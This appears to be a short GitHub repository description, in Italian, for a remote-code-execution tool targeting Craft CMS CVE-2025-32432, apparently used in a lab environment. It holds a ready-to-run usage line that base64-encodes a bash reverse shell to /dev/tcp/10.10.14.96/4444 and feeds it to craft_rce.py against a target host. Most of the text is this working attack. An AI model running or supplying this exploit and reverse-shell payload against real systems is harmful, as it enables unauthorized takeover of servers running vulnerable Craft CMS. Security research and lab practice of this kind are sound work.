psyguy007-sys/craftcms-cve-2025-32432-rceEsecutore di comandi per Craft CMS CVE-2025-32432 adattato dalla ricerca di Nicolas Bourras e Orange Cyberdefense.
payload=$(printf %s "bash -c 'bash -i >& /dev/tcp/10.10.14.96/4444 0>&1'" | base64 -w0); ./craft_rce.py http://10.129.66.170 "echo $payload | base64 -d | bash" orion.htb